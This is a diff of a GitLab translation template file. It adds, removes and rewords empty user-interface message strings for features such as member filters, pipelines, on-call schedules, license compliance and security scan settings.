@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
